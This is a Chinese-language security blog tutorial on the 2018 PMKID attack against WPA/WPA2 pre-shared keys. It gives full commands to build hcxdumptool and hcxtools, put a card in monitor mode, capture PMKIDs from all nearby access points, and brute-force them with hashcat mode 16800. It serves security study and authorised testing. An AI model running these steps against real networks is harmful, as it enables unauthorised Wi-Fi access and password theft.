知名密码破解软件Hashcat在2018年8月2日发布了4.2版本,这次版本更新的主要内容是增加了4个新的密码算法支持。 

image.png

其中的WPA-PMKID-PBKDF2算法,是为了支持一种新的WAP预共享密钥密码破解方法。

New attack on WPA/WPA2 using PMKID

根据Hashcat官方论坛文章介绍,作者在研究WPA3安全标准时,意外发现的使用PMKID破解WPA预共享密钥的方法,与现有的其它破解方法不同,该方法不再需要抓取完整的EAPOL四次握手包,只需要一个EAPOL帧中的RSN IE(Robust Security Network Information Element)即可。目前,作者尚不清楚该攻击方法对哪些路由器生效,但仍认为可以有效的攻击所有启用了漫游功能的802.11i/p/q/r网络(大部分较新的路由器都支持)。

该方法注意的优势如下:

1.攻击者直接与AP通信,无需普通用户参与(即“无客户端”攻击);

2.无需等待普通用户与AP完成四次握手;

3.无需重传EAPOL帧(重传可能导致无法破解);

4.无需普通用户发送无效密码;

5.不再会因为攻击者离AP或普通用户太远丢失EAPOL帧;

6.无需修复nonce和replaycounter值;

7.无需特定的输出格式,最终数据以16进制编码字符串呈现。

相关工具

该攻击方法需要用到以下几个工具:

1.hcxdumptool v4.2.0 or higher

2.用于抓包并保存为Hashcat破解可用的格式;

3.支持的无线网卡:

USB ID 148f:7601 Ralink Technology, Corp. MT7601U Wireless Adapter

USB ID 148f:3070 Ralink Technology, Corp. RT2870/RT3070 Wireless Adapter

USB ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter

USB ID 0bda:8187 Realtek Semiconductor Corp. RTL8187 Wireless Adapter

USB ID 0bda:8189 Realtek Semiconductor Corp. RTL8187B Wireless 802.11g 54Mbps Network Adapter

hcxtools v4.2.0 or higher

hashcat v4.2.0 or higher

实战演示

本次演示环境:

Kali 2018.3(Linux内核版本4.17) + Tenda W311M无线网卡(MT7601U)

编译安装相关工具

hcxdumptool

下载源码编译(使用root运行,Linux内核版本>=4.14)  https://github.com/ZerBea/hcxdumptool/archive/4.2.0.tar.gz tarf -xvf 4.2.0.tar.gz
cd hcxdumptool-4.2.0 make && make install # 编译完成后的工具均安装在/usr/local/bin/目录下 

hcxtools

# 安装依赖软件包,解决编译报错 apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev #下载源码编译(使用root运行) wget https://github.com/ZerBea/hcxtools/archive/4.2.0.tar.gz tar -xvf 4.2.0.tar.gz
cd hcxtools-4.2.0 make && make install # 编译完成后的工具均安装在/usr/local/bin/目录下。 

Hashcat

官方提供已编译好的二进制文件,包含Windows及Linux版本,下载解压即可。

# 下载Hashcat 4.2 wget https://hashcat.net/files/hashcat-4.2.0.7z # 解压 7z x hashcat-4.2.0.7z

PMKID介绍

RSN IE(Robust Security Network Information Element)是8.2.11管理帧中的一个可选字段,其中的一个信息元素就是PMKID。

image.pngPMKID使用HMAC-SHA1算法计算得到,密钥为PMK,数据部分由固定的字符串标签“PMK Name”、AP的MAC地址及基站的MAC地址拼接组成,计算公式如下:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) 

因为PMK和普通的四次握手中的相同,因此PMKID是一个理想的攻击向量,破解所需的所有信息都可以从接收到的AP第一个EAPOL帧中得到。

抓取PMKID

hcxdumptool可以从AP请求PMKID并保存接收到的数据帧到文件中(pcapng格式)。

# 使用网卡wlan0,开启Monitor模式, ip link set wlan0 down
iw dev wlan0 set type monitor
ip link set wlan0 up # 查看可用的无线网卡 hcxdumptool -I # 抓取管理帧和EAP/EAPOL帧,保存文件为pmkid.pacpng,开启状态显示 # 未添加AP过滤时,攻击端将对所有扫描到的AP发送协商请求。 hcxdumptool -o pmkid.pacpng -i wlan0 --enable_status 

image.png

如果AP接受到攻击端的协商请求包并支持发送PMKID,过一会儿将看到“FOUND PMKID”的提示。

image.png由于Wifi信道干扰等原因,可能需要过一段时间才能接收到PMKID,在你放弃前,建议耐心的等上10分钟。

数据格式转换

抓取的PMKID后,使用hcxpcaptool工具转换成Hashcat支持的格式。

$ ./hcxpcaptool -z pmkid.16800 pmkid.pcapng 

image.png

转换后的文件内容:

image.png以*符号分割的4列内容分别是:

1.PMKID

2.MAC AP

3.MAC Station

4.ESSID

通过MAC AP,可以查找到对应的WIFI名称。

image.png

密码破解

接下来,使用Hashcat破解抓取到的PMKID内容。

# 指定hash模式为16800,使用暴力破解方式,设置掩码为8个数字 hashcat -m 16800 pmkid.16800 -a 3 -w 3 '?d?d?d?d?d?d?d?d' 

image.png

顺利的话,你将看到这样的结果,密码破解成功:

image.png

相关链接

Hashcat v4.2.0 https://hashcat.net/forum/thread-7711.html

New attack on WPA/WPA2 using PMKID https://hashcat.net/forum/thread-7717.html

*本文原创作者:Shad0wpf_